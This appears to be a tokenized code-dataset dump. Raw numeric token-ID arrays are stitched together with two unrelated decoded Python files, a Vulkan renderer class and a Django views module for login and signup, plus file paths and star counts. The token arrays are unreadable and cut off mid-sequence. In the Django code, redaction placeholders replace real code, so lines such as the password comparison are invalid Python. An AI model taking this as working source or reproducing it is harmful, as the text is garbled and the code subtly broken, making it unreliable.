29892, 3579, 11022, 1125, 13, 4706, 9995, 2697, 278, 11265, 931, 363, 263, 2183, 1591, 1213, 15945, 13, 4706, 1015, 353, 3789, 4391, 519, 29898, 2371, 29918, 978, 29892, 3579, 11022, 29897, 13, 4706, 736, 6931, 29889, 9772, 29898, 459, 29897, 13, 268, 13, 1678, 822, 11837, 29898, 1311, 1125, 13, 4706, 736, 853, 842, 4391, 519, 29898, 1311, 29889, 2371, 29918, 978, 29897, 13, 13, 29992, 7094, 800, 29889, 9573, 29918, 16453, 703, 348, 842, 29918, 3258, 519, 1159, 13, 1990, 853, 842, 4391, 519, 29898, 29924, 4481, 403, 10925, 1125, 13, 1678, 9995, 2525, 842, 11265, 2635, 297, 263, 2183, 1591, 1213, 15945, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1591, 29918, 978, 29892, 3579, 11022, 1125, 13, 4706, 1583, 29889, 2371, 29918, 978, 353, 1591, 29918, 978, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 443, 842, 29918, 3258, 519, 29898, 25932, 29892, 6931, 29892, 1591, 29918, 978, 29892, 3579, 11022, 1125, 13, 4706, 9995, 2525, 842, 278, 11265, 931, 363, 263, 2183, 1591, 1213, 15945, 13, 4706, 1015, 353, 853, 842, 4391, 519, 29898, 2371, 29918, 978, 29892, 3579, 11022, 29897, 13, 4706, 736, 6931, 29889, 9772, 29898, 459, 29897, 13, 268, 13, 1678, 822, 11837, 29898, 1311, 1125, 13, 4706, 736, 3789, 4391, 519, 29898, 1311, 29889, 2371, 29918, 978, 29897, 13, 13, 29992, 7094, 800, 29889, 21382, 29918, 1454, 29898, 2697, 4391, 519, 29897, 13, 1753, 731, 29918, 3258, 519, 29898, 3372, 800, 29892, 5858, 1125, 13, 1678, 6931, 29889, 842, 29918, 1693, 28677, 29898, 16453, 29889, 2371, 29918, 978, 29897, 13, 1678, 6931, 29889, 1202, 29918, 4914, 29898, 16453, 29889, 2371, 29918, 978, 29892, 29871, 13, 9651, 872, 29889, 4409, 877, 11600, 29918, 271, 742, 872, 29889, 8768, 29889, 15307, 1254, 19297, 29898, 2230, 8028, 29922, 5574, 511, 13, 18884, 1923, 29918, 4381, 29922, 4977, 29889, 9891, 29889, 3707, 3285, 1870, 519, 29922, 8824, 876, 13, 13, 29992, 7094, 800, 29889, 21382, 29918, 1454, 29898, 2525, 842, 4391, 519, 29897, 13, 1753, 443, 842, 29918, 3258, 519, 29898, 3372, 800, 29892, 5858, 1125, 13, 1678, 6931, 29889, 8865, 29918, 4914, 29898, 16453, 29889, 2371, 29918, 978, 29892, 525, 11600, 29918, 271, 1495, 13, 1678, 6931, 29889, 348, 842, 29918, 1693, 28677, 29898, 16453, 29889, 2371, 29918, 978, 29897, 13, 13, 29992, 7094, 800, 29889, 9573, 29918, 16453, 703, 842, 29918, 2230, 519, 1159, 13, 1990, 3789, 2481, 519, 29898, 29924, 4481, 403, 10925, 1125, 13, 1678, 9995, 2697, 2767, 2635, 297, 263, 2183, 1591, 1213, 15945, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1591, 29918, 978, 29892, 3579, 11022, 1125, 13, 4706, 1583, 29889, 2371, 29918, 978, 353, 1591, 29918, 978, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 731, 29918, 2230, 519, 29898, 25932, 29892, 6931, 29892, 1591, 29918, 978, 29892, 3579, 11022, 1125, 13, 4706, 9995, 2697, 278, 2767, 931, 363, 263, 2183, 1591, 1213, 15945, 13, 4706, 1015, 353, 3789, 2481, 519, 29898, 2371, 29918, 978, 29892, 3579, 11022, 29897, 13, 4706, 736, 6931, 29889, 9772, 29898, 459, 29897, 13, 268, 13, 1678, 822, 11837, 29898, 1311, 1125, 13, 4706, 736, 853, 842, 2481, 519, 29898, 1311, 29889, 2371, 29918, 978, 29897, 13, 13, 29992, 7094, 800, 29889, 9573, 29918, 16453, 703, 348, 842, 29918, 2230, 519, 1159, 13, 1990, 853, 842, 2481, 519, 29898, 29924, 4481, 403, 10925, 1125, 13, 1678, 9995, 2525, 842, 2767, 2635, 297, 263, 2183, 1591, 1213, 15945, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1591, 29918, 978, 29892, 3579, 11022, 1125, 13, 4706, 1583, 29889, 2371, 29918, 978, 353, 1591, 29918, 978, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 443, 842, 29918, 2230, 519, 29898, 25932, 29892, 6931, 29892, 1591, 29918, 978, 29892, 3579, 11022, 1125, 13, 4706, 9995, 2525, 842, 278, 2767, 931, 931, 363, 263, 2183, 1591, 1213, 15945, 13, 4706, 1015, 353, 853, 842, 2481, 519, 29898, 2371, 29918, 978, 29892, 3579, 11022, 29897, 13, 4706, 736, 6931, 29889, 9772, 29898, 459, 29897, 13, 268, 13, 1678, 822, 11837, 29898, 1311, 1125, 13, 4706, 736, 853, 842, 4391, 519, 29898, 1311, 29889, 2371, 29918, 978, 29897, 13, 13, 29992, 7094, 800, 29889, 21382, 29918, 1454, 29898, 2697, 2481, 519, 29897, 13, 1753, 731, 29918, 2230, 519, 29898, 3372, 800, 29892, 5858, 1125, 13, 1678, 6931, 29889, 842, 29918, 3258, 519, 29898, 16453, 29889, 2371, 29918, 978, 29897, 13, 1678, 6931, 29889, 1202, 29918, 4914, 29898, 16453, 29889, 2371, 29918, 978, 29892, 29871, 13, 9651, 872, 29889, 4409, 877, 21402, 29918, 271, 742, 872, 29889, 8768, 29889, 15307, 1254, 19297, 29898, 2230, 8028, 29922, 5574, 511, 13, 18884, 1923, 29918, 4381, 29922, 4977, 29889, 9891, 29889, 3707, 3285, 1870, 519, 29922, 8824, 876, 13, 13, 29992, 7094, 800, 29889, 21382, 29918, 1454, 29898, 2525, 842, 2481, 519, 29897, 13, 1753, 443, 842, 29918, 2230, 519, 29898, 3372, 800, 29892, 5858, 1125, 13, 1678, 6931, 29889, 8865, 29918, 4914, 29898, 16453, 29889, 2371, 29918, 978, 29892, 525, 21402, 29918, 271, 1495, 13, 1678, 6931, 29889, 348, 842, 29918, 3258, 519, 29898, 16453, 29889, 2371, 29918, 978, 29897, 13, 13, 29992, 7094, 800, 29889, 9573, 29918, 16453, 703, 842, 29918, 5679, 1159, 13, 1990, 3789, 7422, 29898, 29924, 4481, 403, 10925, 1125, 13, 1678, 9995, 2697, 263, 9117, 1820, 2729, 373, 278, 2888, 501, 11150, 4235, 15945, 29908, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 260, 29876, 29892, 285, 29892, 364, 6277, 29892, 364, 29888, 2433, 333, 742, 302, 29922, 8824, 29892, 3579, 11022, 1125, 13, 4706, 1583, 29889, 2371, 29918, 978, 353, 260, 29876, 13, 4706, 1583, 29889, 2671, 353, 285, 13, 4706, 1583, 29889, 20275, 9223, 29918, 2371, 29918, 978, 353, 364, 6277, 13, 4706, 1583, 29889, 20275, 9223, 29918, 2671, 353, 364, 29888, 13, 4706, 1583, 29889, 4304, 519, 353, 302, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 731, 29918, 5679, 29898, 25932, 29892, 6931, 29892, 260, 29876, 29892, 285, 29892, 364, 6277, 29892, 364, 29888, 2433, 333, 742, 302, 29922, 8824, 29892, 3579, 11022, 1125, 13, 4706, 9995, 2697, 278, 9117, 1820, 2729, 297, 278, 2888, 501, 11150, 1746, 15945, 29908, 13, 4706, 1015, 353, 3789, 7422, 29898, 6277, 29892, 285, 29892, 364, 6277, 29892, 364, 29888, 29892, 302, 29892, 3579, 11022, 29897, 13, 4706, 736, 6931, 29889, 9772, 29898, 459, 29897, 13, 13, 1678, 822, 11837, 29898, 1311, 1125, 13, 4706, 736, 853, 842, 7422, 29898, 1311, 29889, 2371, 29918, 978, 29892, 1583, 29889, 2671, 29892, 29871, 13, 18884, 1583, 29889, 20275, 9223, 29918, 2371, 29918, 978, 29892, 1583, 29889, 20275, 9223, 29918, 2671, 29892, 1583, 29889, 4304, 519, 29897, 13, 13, 29992, 7094, 800, 29889, 9573, 29918, 16453, 703, 348, 842, 29918, 5679, 1159, 13, 1990, 853, 842, 7422, 29898, 29924, 4481, 403, 10925, 1125, 13, 1678, 9995, 1123, 3901, 5858, 304, 731, 29918, 5679, 29889, 319, 2560, 1897, 5768, 508, 367, 1304, 2086, 1213, 15945, 13, 268, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 260, 29876, 29892, 285, 29892, 364, 6277, 29892, 364, 29888, 2433, 333, 742, 302, 29922, 8824, 29892, 3579, 11022, 1125, 13, 4706, 1583, 29889, 2371, 29918, 978, 353, 260, 29876, 13, 4706, 1583, 29889, 2671, 353, 285, 13, 4706, 1583, 29889, 20275, 9223, 29918, 2371, 29918, 978, 353, 364, 6277, 13, 4706, 1583, 29889, 20275, 9223, 29918, 2671, 353, 364, 29888, 13, 4706, 1583, 29889, 4304, 519, 353, 302, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 443, 842, 29918, 5679, 29898, 25932, 29892, 6931, 29892, 260, 29876, 29892, 285, 29892, 364, 6277, 29892, 364, 29888, 2433, 333, 742, 302, 29922, 8824, 29892, 3579, 11022, 1125, 13, 4706, 9995, 15063, 278, 16180, 1897, 1213, 15945, 13, 4706, 1015, 353, 853, 842, 7422, 29898, 6277, 29892, 285, 29892, 364, 6277, 29892, 364, 29888, 29892, 302, 29892, 3579, 11022, 29897, 13, 4706, 736, 6931, 29889, 9772, 29898, 459, 29897, 13, 13, 1678, 822, 11837, 29898, 1311, 1125, 13, 4706, 736, 3789, 7422, 29898, 1311, 29889, 2371, 29918, 978, 29892, 1583, 29889, 2671, 29892, 29871, 13, 18884, 1583, 29889, 20275, 9223, 29918, 2371, 29918, 978, 29892, 1583, 29889, 20275, 9223, 29918, 2671, 29892, 29871, 13, 18884, 1583, 29889, 4304, 519, 29897, 13, 13, 29992, 7094, 800, 29889, 21382, 29918, 1454, 29898, 2697, 7422, 29897, 13, 1753, 731, 29918, 5679, 29898, 3372, 800, 29892, 5858, 1125, 13, 1678, 11009, 29918, 5338, 353, 3030, 29889, 2917, 29889, 657, 29918, 2042, 29918, 3385, 877, 744, 8337, 293, 742, 525, 2850, 284, 305, 6764, 29889, 2271, 1495, 13, 1678, 302, 353, 376, 4304, 29908, 565, 5858, 29889, 4304, 519, 1683, 376, 1333, 1870, 29908, 13, 13, 1678, 396, 3462, 278, 2888, 7601, 1820, 29901, 13, 1678, 565, 29898, 13082, 29918, 5338, 29889, 27382, 2541, 877, 29272, 8785, 29901, 13, 4706, 6931, 29889, 7978, 29898, 13, 9651, 376, 13794, 1591, 1273, 29879, 376, 13, 9651, 376, 1202, 1273, 29879, 318, 5416, 1273, 29879, 376, 13, 9651, 376, 276, 10662, 1273, 29879, 29414, 29879, 5513, 1273, 313, 16453, 29889, 2371, 29918, 978, 29892, 5858, 29889, 2671, 29892, 302, 29892, 13, 18884, 5858, 29889, 20275, 9223, 29918, 2371, 29918, 978, 29892, 5858, 29889, 20275, 9223, 29918, 2671, 29897, 13, 9651, 1723, 13, 1678, 25342, 29898, 13082, 29918, 5338, 29889, 27382, 2541, 877, 11347, 8785, 29901, 13, 4706, 6931, 29889, 7978, 29898, 13, 9651, 376, 13794, 1591, 1273, 29879, 376, 13, 9651, 376, 1202, 1273, 29879, 10650, 29898, 29896, 29953, 29897, 1273, 29879, 376, 13, 9651, 376, 276, 10662, 1273, 29879, 29414, 29879, 29897, 376, 1273, 313, 16453, 29889, 2371, 29918, 978, 29892, 5858, 29889, 2671, 29892, 13, 18884, 302, 29892, 5858, 29889, 20275, 9223, 29918, 2371, 29918, 978, 29892, 5858, 29889, 20275, 9223, 29918, 2671, 29897, 13, 9651, 1723, 13, 1678, 1683, 29901, 13, 4706, 12020, 8960, 703, 25807, 29884, 3016, 287, 2566, 448, 871, 15401, 322, 376, 13, 18884, 376, 6747, 7979, 4176, 526, 6969, 5279, 1159, 13, 13, 29992, 7094, 800, 29889, 21382, 29918, 1454, 29898, 2525, 842, 7422, 29897, 13, 1753, 443, 842, 29918, 5679, 29898, 3372, 800, 29892, 5858, 1125, 13, 1678, 6931, 29889, 8865, 29918, 4914, 29898, 16453, 29889, 2371, 29918, 978, 29892, 5858, 29889, 2671, 29897, 13, 13, 1753, 1065, 29918, 26983, 800, 29918, 2696, 1220, 7295, 13, 1678, 9995, 6558, 9725, 800, 297, 525, 2696, 1220, 29915, 4464, 29889, 13, 13, 1678, 910, 2295, 1973, 278, 3030, 411, 925, 263, 3988, 13, 1678, 322, 451, 385, 10863, 29892, 2466, 385, 10863, 338, 22691, 13, 1678, 1244, 408, 1532, 29889, 29871, 2648, 14993, 3262, 278, 10863, 11265, 13, 1678, 591, 1016, 29915, 29873, 1584, 817, 263, 360, 5688, 2227, 304, 367, 3625, 29889, 13, 13, 1678, 315, 4293, 304, 3030, 29889, 7978, 580, 1244, 20076, 278, 2183, 1347, 304, 278, 13, 1678, 2471, 1962, 29889, 13, 13, 1678, 9995, 13, 1678, 3142, 353, 2295, 29889, 657, 29918, 3396, 29918, 3385, 703, 2850, 284, 305, 6764, 29889, 2271, 1159, 13, 1678, 3030, 29889, 17591, 29898, 13, 4706, 3142, 29922, 2271, 29892, 13, 4706, 3646, 29918, 19635, 29922, 5182, 29918, 19635, 29892, 13, 4706, 16333, 29918, 5355, 29879, 29922, 5574, 29892, 13, 4706, 23725, 29918, 25707, 3790, 29908, 3207, 3293, 1115, 376, 17514, 10758, 13, 1678, 1723, 13, 13, 1678, 411, 3030, 29889, 463, 29918, 20736, 7295, 13, 4706, 3030, 29889, 3389, 29918, 26983, 800, 580, 13, 13, 1753, 1065, 29918, 26983, 800, 29918, 14627, 7295, 13, 1678, 9995, 6558, 9725, 800, 297, 525, 14627, 29915, 4464, 29889, 13, 13, 1678, 512, 445, 10483, 591, 817, 304, 731, 385, 10863, 13, 1678, 322, 25836, 263, 3957, 411, 278, 3030, 29889, 13, 13, 1678, 9995, 13, 1678, 4511, 519, 353, 6012, 29918, 3166, 29918, 2917, 29898, 13, 4706, 2295, 29889, 657, 29918, 2042, 29898, 2917, 29889, 2917, 29918, 2172, 29918, 2042, 511, 13, 4706, 10944, 543, 2850, 284, 305, 6764, 19602, 13, 4706, 11565, 1990, 29922, 10109, 29889, 7327, 11426, 29892, 13, 1678, 1723, 13, 13, 1678, 411, 4511, 519, 29889, 6915, 580, 408, 3957, 29901, 13, 4706, 3030, 29889, 17591, 29898, 13, 9651, 3957, 29922, 9965, 29892, 3646, 29918, 19635, 29922, 5182, 29918, 19635, 13, 4706, 1723, 13, 13, 4706, 411, 3030, 29889, 463, 29918, 20736, 7295, 13, 9651, 3030, 29889, 3389, 29918, 26983, 800, 580, 13, 13, 13, 361, 3030, 29889, 275, 29918, 2696, 1220, 29918, 8513, 7295, 13, 1678, 1065, 29918, 26983, 800, 29918, 2696, 1220, 580, 13, 2870, 29901, 13, 1678, 1065, 29918, 26983, 800, 29918, 14627, 580, 13, 2 ]
src/engine/renderer.py
gabdube/panic-panda
67
61386
from vulkan import vk, helpers as hvk class Renderer(object): def __init__(self, engine): self.engine = engine self.image_ready = None self.rendering_done = None self.render_fences = () self.render_cache = {} self.enabled = True self._setup_sync() self._setup_render_cache() def free(self): engine, api, device = self.ctx hvk.destroy_semaphore(api, device, self.image_ready) hvk.destroy_semaphore(api, device, self.rendering_done) for f in self.render_fences: hvk.destroy_fence(api, device, f) del self.engine @property def ctx(self): engine = self.engine api, device = engine.api, engine.device return engine, api, device def render(self, scene_data): if not self.enabled: return h = hvk engine, api, device = self.ctx render_queue = engine.render_queue.handle rc = self.render_cache image_index, result = h.acquire_next_image(api, device, engine.swapchain, semaphore = self.image_ready) fence = self.render_fences[image_index] h.wait_for_fences(api, device, (fence,)) h.reset_fences(api, device, (fence,)) scene_data.record(image_index) submit = rc["submit_info"] submit.command_buffers[0] = scene_data.render_commands[image_index] h.queue_submit(api, render_queue, (submit,), fence = fence) present = rc["present_info"] present.image_indices[0] = image_index h.queue_present(api, render_queue, present) def enable(self): self.enabled = True def disable(self): _, api, device = self.ctx hvk.device_wait_idle(api, device) self.enabled = False def _setup_sync(self): engine, api, device = self.ctx info = hvk.semaphore_create_info() self.image_ready = hvk.create_semaphore(api, device, info) self.rendering_done = hvk.create_semaphore(api, device, info) self.render_fences = [] info = hvk.fence_create_info(flags=vk.FENCE_CREATE_SIGNALED_BIT) for _ in range(len(engine.render_target.swapchain_images)): self.render_fences.append(hvk.create_fence(api, device, info)) def _setup_render_cache(self): engine = self.engine self.render_cache["submit_info"] = hvk.submit_info( wait_dst_stage_mask = (vk.PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT,), wait_semaphores = (self.image_ready,), signal_semaphores = (self.rendering_done,), command_buffers = (0,) ) self.render_cache["present_info"] = hvk.present_info( swapchains = (engine.swapchain,), image_indices = (0,), wait_semaphores = (self.rendering_done,) )
[ 1, 515, 12799, 11052, 1053, 325, 29895, 29892, 1371, 414, 408, 298, 29894, 29895, 13, 13, 13, 1990, 26000, 261, 29898, 3318, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 6012, 1125, 13, 4706, 1583, 29889, 10599, 353, 6012, 13, 13, 4706, 1583, 29889, 3027, 29918, 2040, 353, 6213, 13, 4706, 1583, 29889, 9482, 292, 29918, 15091, 353, 6213, 13, 4706, 1583, 29889, 9482, 29918, 29888, 2063, 353, 3861, 13, 4706, 1583, 29889, 9482, 29918, 8173, 353, 6571, 13, 13, 4706, 1583, 29889, 17590, 353, 5852, 13, 13, 4706, 1583, 3032, 14669, 29918, 16593, 580, 13, 4706, 1583, 3032, 14669, 29918, 9482, 29918, 8173, 580, 13, 13, 1678, 822, 3889, 29898, 1311, 1125, 13, 4706, 6012, 29892, 7882, 29892, 4742, 353, 1583, 29889, 13073, 13, 4706, 298, 29894, 29895, 29889, 20524, 29918, 12846, 12451, 487, 29898, 2754, 29892, 4742, 29892, 1583, 29889, 3027, 29918, 2040, 29897, 13, 4706, 298, 29894, 29895, 29889, 20524, 29918, 12846, 12451, 487, 29898, 2754, 29892, 4742, 29892, 1583, 29889, 9482, 292, 29918, 15091, 29897, 13, 13, 4706, 363, 285, 297, 1583, 29889, 9482, 29918, 29888, 2063, 29901, 13, 9651, 298, 29894, 29895, 29889, 20524, 29918, 29888, 663, 29898, 2754, 29892, 4742, 29892, 285, 29897, 13, 13, 4706, 628, 1583, 29889, 10599, 13, 13, 1678, 732, 6799, 13, 1678, 822, 12893, 29898, 1311, 1125, 13, 4706, 6012, 353, 1583, 29889, 10599, 13, 4706, 7882, 29892, 4742, 353, 6012, 29889, 2754, 29892, 6012, 29889, 10141, 13, 4706, 736, 6012, 29892, 7882, 29892, 4742, 13, 13, 1678, 822, 4050, 29898, 1311, 29892, 9088, 29918, 1272, 1125, 13, 4706, 565, 451, 1583, 29889, 17590, 29901, 13, 9651, 736, 13, 13, 4706, 298, 353, 298, 29894, 29895, 13, 4706, 6012, 29892, 7882, 29892, 4742, 353, 1583, 29889, 13073, 13, 4706, 4050, 29918, 9990, 353, 6012, 29889, 9482, 29918, 9990, 29889, 8411, 13, 4706, 364, 29883, 353, 1583, 29889, 9482, 29918, 8173, 13, 13, 4706, 1967, 29918, 2248, 29892, 1121, 353, 298, 29889, 562, 1548, 29918, 4622, 29918, 3027, 29898, 2754, 29892, 4742, 29892, 6012, 29889, 26276, 14153, 29892, 3031, 12451, 487, 353, 1583, 29889, 3027, 29918, 2040, 29897, 13, 13, 4706, 285, 663, 353, 1583, 29889, 9482, 29918, 29888, 2063, 29961, 3027, 29918, 2248, 29962, 13, 4706, 298, 29889, 10685, 29918, 1454, 29918, 29888, 2063, 29898, 2754, 29892, 4742, 29892, 313, 29888, 663, 29892, 876, 13, 4706, 298, 29889, 12071, 29918, 29888, 2063, 29898, 2754, 29892, 4742, 29892, 313, 29888, 663, 29892, 876, 13, 13, 4706, 9088, 29918, 1272, 29889, 11651, 29898, 3027, 29918, 2248, 29897, 13, 13, 4706, 9752, 353, 364, 29883, 3366, 7892, 29918, 3888, 3108, 13, 4706, 9752, 29889, 6519, 29918, 28040, 414, 29961, 29900, 29962, 353, 9088, 29918, 1272, 29889, 9482, 29918, 26381, 29961, 3027, 29918, 2248, 29962, 13, 4706, 298, 29889, 9990, 29918, 7892, 29898, 2754, 29892, 4050, 29918, 9990, 29892, 313, 7892, 29892, 511, 285, 663, 353, 285, 663, 29897, 13, 13, 4706, 2198, 353, 364, 29883, 3366, 6338, 29918, 3888, 3108, 13, 4706, 2198, 29889, 3027, 29918, 513, 1575, 29961, 29900, 29962, 353, 1967, 29918, 2248, 13, 4706, 298, 29889, 9990, 29918, 6338, 29898, 2754, 29892, 4050, 29918, 9990, 29892, 2198, 29897, 13, 13, 1678, 822, 9025, 29898, 1311, 1125, 13, 4706, 1583, 29889, 17590, 353, 5852, 13, 13, 1678, 822, 11262, 29898, 1311, 1125, 13, 4706, 17117, 7882, 29892, 4742, 353, 1583, 29889, 13073, 13, 4706, 298, 29894, 29895, 29889, 10141, 29918, 10685, 29918, 333, 280, 29898, 2754, 29892, 4742, 29897, 13, 4706, 1583, 29889, 17590, 353, 7700, 13, 13, 1678, 822, 903, 14669, 29918, 16593, 29898, 1311, 1125, 13, 4706, 6012, 29892, 7882, 29892, 4742, 353, 1583, 29889, 13073, 13, 4706, 5235, 353, 298, 29894, 29895, 29889, 12846, 12451, 487, 29918, 3258, 29918, 3888, 580, 13, 308, 13, 4706, 1583, 29889, 3027, 29918, 2040, 353, 298, 29894, 29895, 29889, 3258, 29918, 12846, 12451, 487, 29898, 2754, 29892, 4742, 29892, 5235, 29897, 13, 4706, 1583, 29889, 9482, 292, 29918, 15091, 353, 298, 29894, 29895, 29889, 3258, 29918, 12846, 12451, 487, 29898, 2754, 29892, 4742, 29892, 5235, 29897, 13, 13, 4706, 1583, 29889, 9482, 29918, 29888, 2063, 353, 5159, 13, 4706, 5235, 353, 298, 29894, 29895, 29889, 29888, 663, 29918, 3258, 29918, 3888, 29898, 15764, 29922, 29894, 29895, 29889, 29943, 1430, 4741, 29918, 27045, 29918, 5425, 29954, 3521, 20566, 29918, 22698, 29897, 13, 4706, 363, 903, 297, 3464, 29898, 2435, 29898, 10599, 29889, 9482, 29918, 5182, 29889, 26276, 14153, 29918, 8346, 22164, 13, 9651, 1583, 29889, 9482, 29918, 29888, 2063, 29889, 4397, 29898, 29882, 29894, 29895, 29889, 3258, 29918, 29888, 663, 29898, 2754, 29892, 4742, 29892, 5235, 876, 13, 13, 1678, 822, 903, 14669, 29918, 9482, 29918, 8173, 29898, 1311, 1125, 13, 4706, 6012, 353, 1583, 29889, 10599, 13, 13, 4706, 1583, 29889, 9482, 29918, 8173, 3366, 7892, 29918, 3888, 3108, 353, 298, 29894, 29895, 29889, 7892, 29918, 3888, 29898, 13, 9651, 4480, 29918, 22992, 29918, 19190, 29918, 13168, 353, 313, 29894, 29895, 29889, 2227, 4162, 18521, 29918, 1254, 10461, 29918, 15032, 1955, 29918, 1299, 8687, 29950, 13780, 29918, 12015, 12336, 29918, 22698, 29892, 511, 13, 9651, 4480, 29918, 12846, 481, 2015, 267, 353, 313, 1311, 29889, 3027, 29918, 2040, 29892, 511, 13, 9651, 7182, 29918, 12846, 481, 2015, 267, 353, 313, 1311, 29889, 9482, 292, 29918, 15091, 29892, 511, 13, 9651, 1899, 29918, 28040, 414, 353, 313, 29900, 29892, 29897, 13, 4706, 1723, 13, 13, 4706, 1583, 29889, 9482, 29918, 8173, 3366, 6338, 29918, 3888, 3108, 353, 298, 29894, 29895, 29889, 6338, 29918, 3888, 29898, 13, 9651, 17945, 305, 2708, 353, 313, 10599, 29889, 26276, 14153, 29892, 511, 13, 9651, 1967, 29918, 513, 1575, 353, 313, 29900, 29892, 511, 13, 9651, 4480, 29918, 12846, 481, 2015, 267, 353, 313, 1311, 29889, 9482, 292, 29918, 15091, 29892, 29897, 13, 4706, 1723, 13, 268, 2 ]
mainapp/views.py
mmiyaji/Dansible
0
87551
<reponame>mmiyaji/Dansible #!/usr/bin/env python # encoding: utf-8 ''' views.py Created by mmiyaji on 2016-07-10. Copyright (c) 2016 ruh<EMAIL>. All rights reserved. ''' from django.shortcuts import render from django.http import HttpResponse import os, re, sys, commands, time, datetime, random, logging from django.http import HttpResponse, HttpResponseRedirect from django.template import Context, loader from django.template import RequestContext from django.shortcuts import render_to_response from django.core.urlresolvers import reverse from django.contrib import auth from django.contrib.auth import authenticate, login, logout from django.contrib.auth.models import User from django.contrib.auth.decorators import login_required from django.views.decorators.csrf import csrf_protect from django.utils.encoding import force_unicode, smart_str from django.core import serializers from django.conf import settings from django.http import Http404 from django.utils.http import urlencode from django.http import Http404 from django.template.loader import get_template from mainapp.models import * logger = logging.getLogger(__name__) def home(request): """ Case of GET REQUEST '/' home page """ temp_values = { "subscroll":True, } return render(request, 'general/index.html', temp_values) def login_view(request): #強制的にログアウト logout(request) username = password = '' first_name = last_name = email = '' error_list = [] error_target = [] next_url = "/" if request.GET: username = request.GET.get('username','') first_name = request.GET.get('first_name','') last_name = request.GET.get('last_name','') email = request.GET.get('email','') error_code = request.GET.get('error_code','') elif request.POST: if 'siginup' in request.POST: signup_view(request) else: username = request.POST['username'] password = request.POST['password'] next_url = request.POST.get('next', next_url) user = authenticate(username=username, password=password) if user is not None: if user.is_active: login(request, user) return HttpResponseRedirect(next_url) else: error_list.append('login_failed') else: error_list.append('login_failed') temp_values = { "error_list": error_list, "error_target": error_target, "username": username, "first_name": first_name, "last_name": last_name, "email": email, } return render(request, 'general/login.html', temp_values) def signup_view(request): username = password = <PASSWORD> = '' first_name = last_name = email = '' error_list = [] error_target = [] if request.POST: username = request.POST['username'] password = request.POST['password'] password2 = request.POST['password_confirm'] first_name = request.POST['first_name'] last_name = request.POST['last_name'] email = request.POST['email'] # is_staff = request.POST['is_staff'] if password == <PASSWORD> and valid_pass(password) == 0: if not User.objects.filter(username=username): user = User.objects.create_user(username, email, password) user.first_name = first_name user.last_name = last_name user.save() user = authenticate(username=username, password=password) if user is not None: if user.is_active: login(request, user) return HttpResponseRedirect('/') else: error_list.append('wrong_user') error_list.append('signup_failed') else: error_list.append('wrong_password') error_list.append('signup_failed') error_target.append('password') error_target.append('password2') temp_values = { "error_list": error_list, "error_target": error_target, "username": username, "first_name": first_name, "last_name": last_name, "email": email, } # query = urlencode(temp_values) # url = ''.join([ # reverse('dansible:login'), # '?', # query]) # return HttpResponseRedirect(url) return render(request, 'general/login.html', temp_values) else: raise Http404 def valid_pass(password): """ validate password Arguments: - `password`: """ if len(password) < 6: return 1 return 0
[ 1, 529, 276, 1112, 420, 29958, 29885, 2460, 29891, 1175, 29875, 29914, 29928, 550, 1821, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 8025, 29901, 23616, 29899, 29947, 13, 12008, 13, 7406, 29889, 2272, 13, 13, 20399, 491, 286, 2460, 29891, 1175, 29875, 373, 29871, 29906, 29900, 29896, 29953, 29899, 29900, 29955, 29899, 29896, 29900, 29889, 13, 11882, 1266, 313, 29883, 29897, 29871, 29906, 29900, 29896, 29953, 29871, 5796, 29882, 29966, 26862, 6227, 15513, 2178, 10462, 21676, 29889, 13, 12008, 13, 3166, 9557, 29889, 12759, 7582, 29879, 1053, 4050, 13, 3166, 9557, 29889, 1124, 1053, 9056, 5103, 13, 13, 5215, 2897, 29892, 337, 29892, 10876, 29892, 8260, 29892, 931, 29892, 12865, 29892, 4036, 29892, 12183, 13, 3166, 9557, 29889, 1124, 1053, 9056, 5103, 29892, 9056, 5103, 24735, 13, 3166, 9557, 29889, 6886, 1053, 15228, 29892, 23466, 13, 3166, 9557, 29889, 6886, 1053, 10729, 2677, 13, 3166, 9557, 29889, 12759, 7582, 29879, 1053, 4050, 29918, 517, 29918, 5327, 13, 3166, 9557, 29889, 3221, 29889, 2271, 9778, 874, 1053, 11837, 13, 3166, 9557, 29889, 21570, 1053, 4817, 13, 3166, 9557, 29889, 21570, 29889, 5150, 1053, 15585, 403, 29892, 6464, 29892, 1480, 449, 13, 3166, 9557, 29889, 21570, 29889, 5150, 29889, 9794, 1053, 4911, 13, 3166, 9557, 29889, 21570, 29889, 5150, 29889, 19557, 4097, 1053, 6464, 29918, 12403, 13, 3166, 9557, 29889, 7406, 29889, 19557, 4097, 29889, 2395, 9600, 1053, 5939, 9600, 29918, 14676, 312, 13, 3166, 9557, 29889, 13239, 29889, 22331, 1053, 4889, 29918, 2523, 356, 29892, 15040, 29918, 710, 13, 3166, 9557, 29889, 3221, 1053, 7797, 19427, 13, 3166, 9557, 29889, 5527, 1053, 6055, 13, 3166, 9557, 29889, 1124, 1053, 9056, 29946, 29900, 29946, 13, 3166, 9557, 29889, 13239, 29889, 1124, 1053, 3142, 12508, 13, 3166, 9557, 29889, 1124, 1053, 9056, 29946, 29900, 29946, 13, 13, 3166, 9557, 29889, 6886, 29889, 12657, 1053, 679, 29918, 6886, 13, 3166, 1667, 932, 29889, 9794, 1053, 334, 13, 13, 21707, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 13, 1753, 3271, 29898, 3827, 1125, 13, 1678, 9995, 13, 1678, 11733, 310, 12354, 5195, 14130, 8207, 29915, 13, 1678, 3271, 1813, 13, 1678, 9995, 13, 1678, 5694, 29918, 5975, 353, 426, 13, 4706, 376, 1491, 10510, 1115, 5574, 29892, 13, 1678, 500, 13, 1678, 736, 4050, 29898, 3827, 29892, 525, 17492, 29914, 2248, 29889, 1420, 742, 5694, 29918, 5975, 29897, 13, 13, 1753, 6464, 29918, 1493, 29898, 3827, 1125, 13, 1678, 396, 232, 191, 186, 31072, 30210, 30353, 30378, 30521, 30310, 